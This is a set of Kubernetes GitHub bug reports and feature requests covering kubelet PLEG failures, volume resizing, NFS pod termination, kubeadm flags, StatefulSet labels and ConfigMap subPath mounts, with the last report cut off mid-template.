is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r - nodes in  notready  status\r - pods in  unknown  status\r \r   what you expected to happen  :\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian 8  jessie \r - kernel  e.g.  uname -a  :  linux ... 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux \r - install tools: kops\r - others:\r     - logs:\r \r    \r ==> /var/log/daemon.log <==\r may 15 12:02:19 ip-10-133-93-99 kubelet 2524 : e0515 12:02:19.150508    2524 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{},} from runtime service failed: rpc error: code = resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304 \r \r may 15 12:02:19 ip-10-133-93-99 kubelet 2524 : e0515 12:02:19.150586    2524 kuberuntime_container.go:323  getkubeletcontainers failed: rpc error: code = resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304 \r \r may 15 12:02:19 ip-10-133-93-99 kubelet 2524 : e0515 12:02:19.150613    2524 generic.go:197  genericpleg: unable to retrieve pods: rpc error: code = resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304 \r \r \r ==> /var/log/syslog <==\r may 15 12:02:21 ip-10-133-93-99 kubelet 2524 : e0515 12:02:21.554728    2524 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{},} from runtime service failed: rpc error: code = resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304 \r \r may 15 12:02:21 ip-10-133-93-99 kubelet 2524 : e0515 12:02:21.554842    2524 kuberuntime_container.go:323  getkubeletcontainers failed: rpc error: code = resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304 \r \r may 15 12:02:21 ip-10-133-93-99 kubelet 2524 : e0515 12:02:21.554873    2524 generic.go:197  genericpleg: unable to retrieve pods: rpc error: code = resourceexhausted desc = grpc: received message larger than max  4195017 vs. 4194304 \r \r may 15 12:02:21 ip-10-133-93-99 kubelet 2524 : i0515 12:02:21.788754    2524 kubelet.go:1794  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 1h3m27.338264092s ago; threshold is 3m0s \r    \r \r - possible prerequisites: a lot of jobs  1657  that failed  state: error  because of internal problems\r - cluster size: 3 masters, 4 worker nodes\r -   workaround:   how to get the node back\r \r    \r docker system prune\r ...\r service docker restart && service kubelet restart\r    \r \r - possible related to https://github.com/kubernetes/kubernetes/issues/51099\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i cloned  k8s.io/code-generator  and tried to run  generate-groups.sh  from my project's directory   ~/go/src/github.com/heptio/ark  . it failed:\r \r    \r andy@heptios-macbook-pro:~/go/src/github.com/heptio/ark  real-restic-andy  ~/go/src/k8s.io/code-generator/generate-groups.sh all github.com/heptio/ark/pkg/generated github.com/heptio/ark/pkg/apis ark:v1 --go-header-file hack/boilerplate.go.txt\r can't load package: package github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/defaulter-gen: cannot find package \ github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/defaulter-gen\  in any of:\r         /usr/local/cellar/go/1.10.2/libexec/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/defaulter-gen  from $goroot \r         /users/andy/go/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/defaulter-gen  from $gopath \r can't load package: package github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/client-gen: cannot find package \ github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/client-gen\  in any of:\r         /usr/local/cellar/go/1.10.2/libexec/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/client-gen  from $goroot \r         /users/andy/go/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/client-gen  from $gopath \r can't load package: package github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/lister-gen: cannot find package \ github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/lister-gen\  in any of:\r         /usr/local/cellar/go/1.10.2/libexec/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/lister-gen  from $goroot \r         /users/andy/go/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/lister-gen  from $gopath \r can't load package: package github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/informer-gen: cannot find package \ github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/informer-gen\  in any of:\r         /usr/local/cellar/go/1.10.2/libexec/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/informer-gen  from $goroot \r         /users/andy/go/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/informer-gen  from $gopath \r can't load package: package github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/deepcopy-gen: cannot find package \ github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/deepcopy-gen\  in any of:\r         /usr/local/cellar/go/1.10.2/libexec/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/deepcopy-gen  from $goroot \r         /users/andy/go/src/github.com/heptio/ark/users/andy/go/src/k8s.io/code-generator/cmd/deepcopy-gen  from $gopath \r    \r \r   what you expected to happen  :\r it should work without error. we need to support running the script from other projects so the generators can locate and use the go source files from a project's vendor directory.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r when trying to delete a nfs-volume pod it gets stuck in \ terminating\  state.\r \r   what you expected to happen  :\r the pod should be deleted\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create one namespace called:  e2e-tests-kubelet-bugtest1\r 2. create a second namespace called: e2e-tests-kubelet-bugtest2\r 3. create a new nfs-server pod using the nfs-server.yaml\r 4. add the ip of the nfs-server pod to the pod-nfs-vol.yaml\r 5. create a second pod using the pod-nfs-volume.yaml\r 6. delete the nfs-server pod without stopping the server\r 7. try to delete pod-nfs-volume pod.\r \r   anything else we need to know?  :\r recreating this using yaml files is easier  and possibly more accurate :\r \r - nfs-server: https://paste.ubuntu.com/p/zc2dj4sqbh/\r - pod-nfs-volume: https://paste.ubuntu.com/p/yvd6txc299/\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r     - client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r     - server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r     - windows server 1803 nodes\r \r - os  e.g. from /etc/os-release :\r     - name=\ ubuntu\ \r     - version=\ 16.04.3 lts  xenial xerus \ \r     - id=ubuntu\r     - id_like=debian\r     - pretty_name=\ ubuntu 16.04.4 lts\ \r     - version_id=\ 16.04\ \r \r - kernel  e.g.  uname -a  : \r     - linux k8s-master-28549959-0 4.15.0-1013-azure  13~16.04.2-ubuntu smp wed may 30 01:39:27 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   bug report  :\r \r >\r >  \r \r   what happened  :\r \r when i use kubeadm init a cluster, it failed:\r    \r  kubelet-check  the http call equal to 'curl -ssl http://localhost:10248/healthz' failed with error: get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.\r    \r then, i check kubelet.service  systemctl status kubelet -l  :\r    \r 10月 11 14:00:17 u kubelet 5326 : f1011 14:00:17.004595    5326 server.go:148  unknown flag: --cadvisor-port\r    \r \r   what you expected to happen  :\r \r use kubeadm init cluster success\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r download v1.12.1 server bin, copy bin files to /usr/bin/, then:\r    \r kubeadm init --ignore-preflight-errors swap\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.12.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :18.04.1 lts  bionic beaver \r - kernel  e.g.  uname -a  :linux u 4.15.0-36-generic\r - install tools:kubeadm\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r i created a block ebs volume using dynamic provisioning. then i resized the volume from 10gb to 20 gb. both pv and block volume reflects the change, but the pvc's capacity is still 10gb.\r \r    sh\r name                                       capacity   access modes   reclaim policy   status     claim                 storageclass   reason   age\r pvc-e4171b0e-6bd3-11e9-8a17-0ae1b2749708   20gi       rwo            delete           bound      default/block-claim   ebs-sc                  3m50s\r    \r    sh\r sh-4.2  lsblk\r name    maj:min   rm    size ro type mountpoint\r loop0     7:0      0     10g  0 loop\r xvda    202:0      0    128g  0 disk\r |-xvda1 202:1      0 1007.5k  0 part\r  -xvda2 202:2      0    128g  0 part /etc/hosts\r xvdci   202:22016  0     20g  0 disk\r    \r \r    sh\r name          status   volume                                     capacity   access modes   storageclass   age\r block-claim   bound    pvc-e4171b0e-6bd3-11e9-8a17-0ae1b2749708   10gi       rwo            ebs-sc         4m7s\r    \r \r this could be caused by in-tree resize put the pvc condition under  filesystemresizepending  state, but no one is acting on the condition since it is block volume:\r    sh\r   status:\r     accessmodes:\r     - readwriteonce\r     capacity:\r       storage: 10gi\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: \ 2019-05-01t05:50:31z\ \r       message: waiting for user to  re- start a pod to finish file system resize of\r         volume on node.\r       status: \ true\ \r       type: filesystemresizepending\r     phase: bound\r    \r /cc @gnufied @msau42 @saad-ali @davidz627 \r  \r   what you expected to happen  :\r pvc's capacity should be updated to 20gb\r \r   how to reproduce it  as minimally and precisely as possible   :\r easy to reproduce using following specs:\r \r storageclass:\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: ebs-sc\r provisioner: kubernetes.io/aws-ebs \r volumebindingmode: waitforfirstconsumer\r allowvolumeexpansion: true\r    \r \r claim:\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: block-claim\r spec:\r   accessmodes:\r     - readwriteonce\r   volumemode: block\r   storageclassname: ebs-sc \r   resources:\r     requests:\r       storage: 10gi\r    \r \r pod:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: app \r spec:\r   containers:\r   - name: app \r     image: amazonlinux:2 \r     command:  \ /bin/sh\ , \ -c\  \r     args:  \ tail -f /dev/null\  \r     volumedevices:\r     - name: data\r       devicepath: /dev/xvda\r   volumes:\r   - name: data\r     persistentvolumeclaim:\r       claimname: block-claim\r    \r \r   anything else we need to know?  :\r this will affect whether csi migration should handle migration scenario for block volume resizing.\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.13\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools: kops\r - network plugin and version  if this is a network-related bug :\r - others:\r

that's a generic package - if we need a utility for \ write pod to file\  it should be in a sub package of volumes  if it's only used there  or a sub package of api.  it's also the wrong signature - it shouldn't assume anything about the codec its running under.

... in order to do things like turn off attribute caching, which is needed when using an nfs volume as storage for a docker registry.  cc @kubernetes/rh-storage @ncdc

shellcheck  https://github.com/koalaman/shellcheck  is a bash script linter which could help catch common problems in our  numerous  bash scripts. i know we'd like to reduce our use of bash scripts, but until then i think being stricter about script quality would be helpful.  /cc @zmerlynn

hi,  you have hardcoded the iam_profile for nodes and master. from config-default.sh:   iam_profile_master=\ kubernetes-master\    iam_profile_node=\ kubernetes-minion\     it would be nice if you let this as custom variables. it will let you have multiples clusters running with different iam permission.

we're seeing some kernel panics with the default aws images, which use debian jessie & aufs, with k8s 1.3 & docker 1.11.2.  what is the validated kernel version and filesystem with k8s 1.3?  cc @dchen1107

pod updates handler  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/replication/replication_controller.go l371  of rc/rs manager should take action for pod whose controllerref gets removed. currently the hanlder only care about pod label changes.  the result is, if there are two rcs with the same selector in the system  we suggest our users don't do this , and if both of them have already reached the stable states, then after a user deletes one rc and orphans its pods, those pods won't be adopted by the other rc. they will be adopted only if there are changes to the other rc  like updating spec.replicas , or after a full  resync period  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/replication/replication_controller.go l58 , which is 10 minutes.  cc @wojtek-t @gmarek @lavalamp

<!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version   1.4.1    environment  : -   cloud provider or hardware configuration  : raspberry pi v3 -   os    e.g. from /etc/os-release : hypriot os 1.0.0, based on raspbian 8 -   kernel    e.g.  uname -a  : linux 4.4.24-hypriotos-v7+  1 smp preempt tue oct 11 17:15:58 utc 2016 armv7l gnu/linux -   install tools  : -   others  :    what happened  : when running a  docker run -it gcr.io/google_containers/hyperkube-arm:v1.4.1 /hyperkube  a sigsev occurs. also with any other compile in this image  e.g.  kubectl  :  <details>   <summary>  stack-trace</summary>        root@n0:/home/pi  docker run -it gcr.io/google_containers/hyperkube-arm:v1.4.1 /hyperkube unexpected fault address 0xdd083390 fatal error: fault  signal sigsegv: segmentation violation code=0x1 addr=0xdd083390 pc=0x7d108   goroutine 1  running, locked to thread : runtime.throw 0x33f0423, 0x5      /usr/local/go_k8s_patched/src/runtime/panic.go:566 +0x78 fp=0x14e47950 sp=0x14e47944 runtime.sigpanic       /usr/local/go_k8s_patched/src/runtime/sigpanic_unix.go:27 +0x280 fp=0x14e4797c sp=0x14e47950 runtime.memmove 0x14ece000, 0xdd083393, 0x1ff64      /usr/local/go_k8s_patched/src/runtime/memmove_arm.s:236 +0x1d0 fp=0x14e47988 sp=0x14e47980 runtime.concatstrings 0x4, 0x14e47a54, 0x3, 0x3, 0x0, 0x0      /usr/local/go_k8s_patched/src/runtime/string.go:52 +0x2f8 fp=0x14e47a24 sp=0x14e47988 runtime.concatstring3 0x4, 0xdd083393, 0x1ff64, 0x14e9eaf8, 0x44, 0x14e9eb34, 0x0, 0x0, 0x0      /usr/local/go_k8s_patched/src/runtime/string.go:63 +0x58 fp=0x14e47a4c sp=0x14e47a24 encoding/gob.newtypeobject 0x2d04a90, 0x8, 0x14eb13c0, 0x49a5808, 0x327cd18, 0x327cd18, 0x49a5808, 0x327cd18, 0x253cc84      /usr/local/go_k8s_patched/src/encoding/gob/type.go:448 +0x24 fp=0x14e47be0 sp=0x14e47a4c encoding/gob.gettype 0x2d04a90, 0x8, 0x14eb13c0, 0x49a5808, 0x327cd18, 0x0, 0x0, 0x0, 0x0      /usr/local/go_k8s_patched/src/encoding/gob/type.go:608 +0xc0 fp=0x14e47c28 sp=0x14e47be0 encoding/gob.getbasetype 0x2d04a90, 0x8, 0x49a5808, 0x327cd18, 0x0, 0x0, 0x0, 0x0      /usr/local/go_k8s_patched/src/encoding/gob/type.go:595 +0x78 fp=0x14e47c50 sp=0x14e47c28 encoding/gob.buildtypeinfo 0x14eb13c0, 0x49a5808, 0x327cd18, 0x0, 0x0, 0x0      /usr/local/go_k8s_patched/src/encoding/gob/type.go:725 +0xf0 fp=0x14e47d28 sp=0x14e47c50 encoding/gob.gettypeinfo 0x14eb13c0, 0x327cd18, 0x0, 0x0      /usr/local/go_k8s_patched/src/encoding/gob/type.go:712 +0xa4 fp=0x14e47d4c sp=0x14e47d28 encoding/gob.mustgettypeinfo 0x49a5808, 0x327cd18, 0x49a5808      /usr/local/go_k8s_patched/src/encoding/gob/type.go:776 +0x34 fp=0x14e47d84 sp=0x14e47d4c encoding/gob.init       /usr/local/go_k8s_patched/src/encoding/gob/type.go:269 +0x1be0 fp=0x14e47de8 sp=0x14e47d84 net/rpc.init       /usr/local/go_k8s_patched/src/net/rpc/server.go:713 +0x5c fp=0x14e47e1c sp=0x14e47de8 k8s.io/kubernetes/vendor/github.com/ugorji/go/codec.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/ugorji/go/codec/time.go:223 +0xe4 fp=0x14e47eb8 sp=0x14e47e1c k8s.io/kubernetes/pkg/runtime/serializer/json.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/runtime/serializer/json/meta.go:62 +0x6c fp=0x14e47ebc sp=0x14e47eb8 k8s.io/kubernetes/pkg/runtime/serializer.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/runtime/serializer/protobuf_extension.go:53 +0x64 fp=0x14e47ec0 sp=0x14e47ebc k8s.io/kubernetes/pkg/api.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/zz_generated.deepcopy.go:3750 +0x11c fp=0x14e47f84 sp=0x14e47ec0 k8s.io/kubernetes/pkg/api/install.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/install/install.go:160 +0x64 fp=0x14e47f94 sp=0x14e47f84 k8s.io/kubernetes/federation/cmd/federation-apiserver/app.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/federation/cmd/federation-apiserver/app/server.go:224 +0x5c fp=0x14e47f98 sp=0x14e47f94 main.init       /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/server.go:78 +0x54 fp=0x14e47f9c sp=0x14e47f98 runtime.main       /usr/local/go_k8s_patched/src/runtime/proc.go:172 +0x228 fp=0x14e47fc4 sp=0x14e47f9c runtime.goexit       /usr/local/go_k8s_patched/src/runtime/asm_arm.s:998 +0x4 fp=0x14e47fc4 sp=0x14e47fc4  goroutine 17  syscall, locked to thread : runtime.goexit       /usr/local/go_k8s_patched/src/runtime/asm_arm.s:998 +0x4  goroutine 19  chan receive : k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x4b651e8      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x68 created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x20c      </details>    what you expected to happen  : that it start    how to reproduce it    as minimally and precisely as possible : call      docker run -it gcr.io/google_containers/hyperkube-arm:v1.4.1 /hyperkube      on the latest  hypriot os 1.0.0  http://blog.hypriot.com/downloads/  on a raspberry pi    anything else do we need to know  : using  hyperkube-arm:v1.3.2  works flawless.

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.5+coreos.0\ , gitcommit:\ e2cd7718ba844e874a68aa13f8f5bb0728b415bb\ , gittreestate:\ clean\ , builddate:\ 2017-03-22t01:59:35z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : container linux by coreos stable  1298.7.0 \r -   kernel    e.g.  uname -a  : linux ip-10-0-38-22 4.9.16-coreos-r1  1 smp fri mar 31 02:07:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r when you deploy non-statefulset pods, they will be given a label called \ name\  with the pod name. however, with statefulsets, pods do not have a name label. this means you can't write services that use a selector based on the 'name' label. \r \r you can of course put labels in the statefulset definition, but those won't be unique per pod. example - i can deploy a statefulset of kafka pods, add a label \ app=kafka\ , but each pod has that label and it's not unique. \r \r   what you expected to happen  :\r pods deployed from a statefulset should have a 'name' label with the name of the pod  the name that you see when you do kubectl get pods \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a statefulset\r 2. kubectl describe pods <the pod> \r 3. notice the lack of a 'name' label \r \r   anything else we need to know  :\r an example of when this is needed would be deploying something where each pod needs to be individually reachable. kafka is a good example: you want to have stateful storage and identity for the brokers, but you also need to be able to reach each one, which means you need a service per pod. \r \r currently i have not found a way to automatically have a service associated with a statefulset pod via labels; i've had to manually tag the statefulset pods to take advantage of selectors. \r \r

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal vm\r -   os    e.g. from /etc/os-release : ubuntu 12.04 / ubuntu 16.04\r \r   what happened / expect to happen / how to repro  :\r following the simple tutorial here: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs, i am unable to get the pod name that runs a cronjob.\r \r    \r $ kubectl.sh create -f cron.yaml\r $ kubectl.sh get cronjob hello\r name      schedule      suspend   active    last-schedule\r hello      /1           false     0         sat, 13 may 2017 00:01:00 +0000\r \r $ kubectl.sh get jobs\r name               desired   successful   age\r hello-1494633240   1         1            8m\r hello-1494633300   1         1            7m\r hello-1494633360   1         1            6m\r hello-1494633420   1         1            5m\r hello-1494633480   1         1            4m\r hello-1494633540   1         1            3m\r hello-1494633600   1         1            2m\r hello-1494633660   1         1            1m\r hello-1494633720   1         1            37s\r \r $ kubectl.sh get pods --selector=job-name=hello-1494633540 -o json\r   note: all of the above, and also any garbage job name put out the same blank json below\r   also, the tutorial has you using kubectl get pods --selector=job-name=<job_name> --output=jsonpath={.items..metadata.name}\r   i have simplified that here so you can see more output\r {\r     \ apiversion\ : \ v1\ ,\r     \ items\ :   ,\r     \ kind\ : \ list\ ,\r     \ metadata\ : {},\r     \ resourceversion\ : \ \ ,\r     \ selflink\ : \ \ \r }\r \r $ kubectl.sh get jobs -o wide\r name               desired   successful   age       container s    image s    selector\r hello-1494633240   1         1            10m       hello          busybox    controller-uid=46a06899-376e-11e7-95c9-0050560cff7c\r hello-1494633300   1         1            9m        hello          busybox    controller-uid=6c513d7a-376e-11e7-95c9-0050560cff7c\r hello-1494633360   1         1            8m        hello          busybox    controller-uid=912ed709-376e-11e7-95c9-0050560cff7c\r hello-1494633420   1         1            7m        hello          busybox    controller-uid=b0a74a65-376e-11e7-95c9-0050560cff7c\r hello-1494633480   1         1            6m        hello          busybox    controller-uid=d617316c-376e-11e7-95c9-0050560cff7c\r hello-1494633540   1         1            5m        hello          busybox    controller-uid=f9f6b8ba-376e-11e7-95c9-0050560cff7c\r hello-1494633600   1         1            4m        hello          busybox    controller-uid=1dd5820d-376f-11e7-95c9-0050560cff7c\r hello-1494633660   1         1            3m        hello          busybox    controller-uid=41b5ee79-376f-11e7-95c9-0050560cff7c\r hello-1494633720   1         1            2m        hello          busybox    controller-uid=659d1c06-376f-11e7-95c9-0050560cff7c\r hello-1494633780   1         1            1m        hello          busybox    controller-uid=89982d04-376f-11e7-95c9-0050560cff7c\r hello-1494633840   1         1            18s       hello          busybox    controller-uid=adc8a8dc-376f-11e7-95c9-0050560cff7c\r \r $ kubectl.sh get pods --selector=controller-uid=adc8a8dc-376f-11e7-95c9-0050560cff7c -o json\r   same behavior, blank json\r    \r \r looking at the logs, i see that the pod does seem to be created, but i am getting the following errors:\r    \r e0513 00:01:04.713919    5163 docker_manager.go:373  networkplugin cni failed on the status hook for pod 'hello-1494633660-9dqtl' - unexpected command output device \ eth0\  does not exist.\  with error: exit status 1\r e0513 00:01:07.269514    5163 cni.go:273  error deleting network: resource does not exist: workloadendpoint node=kube-minion3, orchestrator=k8s, workload=default.hello-1494633660-9dqtl, name=eth0 \r e0513 00:01:07.269552    5163 docker_manager.go:1491  failed to teardown network for pod \ 41b85735-376f-11e7-95c9-0050560cff7c\  using network plugins \ cni\ : resource does not exist: workloadendpoint node=kube-minion3, orchestrator=k8s, workload=default.hello-1494633660-9dqtl, name=eth0 \r    \r we run use calico and the other pods are running without issue.\r \r i can see in the logs that the cron itself is actually running successfully, and i can find the pod name there, but still don't understand the above error messages or why i cannot get the pod name from the job selector.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r /cc @deads2k \r \r   what happened  :\r there are several \ empty\  sub-pkgs of  pkg/util  which don't include codes but doc.go and build files. they were once relied on by heapster. as per https://github.com/kubernetes/heapster/pull/1483, https://github.com/kubernetes/heapster/pull/1537 and https://github.com/kubernetes/heapster/pull/1537/files, heapster had rebased and no longer relies on these pkgs so we can remove them.\r \r   what you expected to happen  :\r remove below sub-pkgs\r    \r pkg/util/errors/\r pkg/util/framer\r pkg/util/intstr/\r pkg/util/json\r pkg/util/net/ note: this pkg still has a non-empty sub-pkg, but we can remove its doc.go and build files\r pkg/util/rand\r pkg/util/runtime\r pkg/util/sets\r pkg/util/uuid note: this pkg wasn't relied on by heapster but it was moved to apimachinery, seems like it's time to remove it too.\r pkg/util/validation\r pkg/util/wait\r pkg/util/yaml\r    \r   how to reproduce it  as minimally and precisely as possible   :\r nope\r \r   anything else we need to know?  :\r if @deads2k can help confirm this, i will send a pr to remove them.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

all of the other entries in owners_aliases are either:\r - sig-foo\r - sig-foo-maintainers\r - sig-foo-approvers\r - sig-foo-reviewers\r \r  \r @kubernetes/sig-testing-pr-reviews i'd like us to go with sig-testing-approvers and sig-testing-reviewers, we can debate in the pr i'm about to link to this

what happened  :\r \r when a configmap volume is marked as   optional   and the corresponding  volumemount  references a specific key with  subpath , kubelet mounts an empty directory whenever that key is missing.\r \r this would be fine without the presence of the  subpath , however the user expects a file and not a directory in the scenario described. i noticed the behaviour after seeing an app crashing due to the presence of a directory where it expected either a file or nothing.\r \r   what you expected to happen  :\r \r kubelet figures out the key referenced by  subpath  does not exist and skips the volume when it creates the container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create the following pod:\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: empty-configmap-vol\r spec:\r   containers:\r   - name: foo\r     image: nginx:alpine\r     volumemounts:\r     - mountpath: /conf/local.properties\r       name: props\r       subpath: my.file.content\r   volumes:\r   - name: props\r     configmap:\r       name: missing-configmap\r       optional: true\r    \r \r an empty directory was mounted although the configmap  myprops  does not exist:\r \r    console\r ❯ kubectl exec empty-configmap-vol -- df -h\r /dev/sda1                29.0g      4.8g     24.2g  17% /conf/local.properties\r \r ❯ kubectl exec empty-configmap-vol -- ls -l /conf\r drwxrwxrwx    0 root     root             0 oct 24 19:34 local.properties\r    \r \r   environment  :\r - 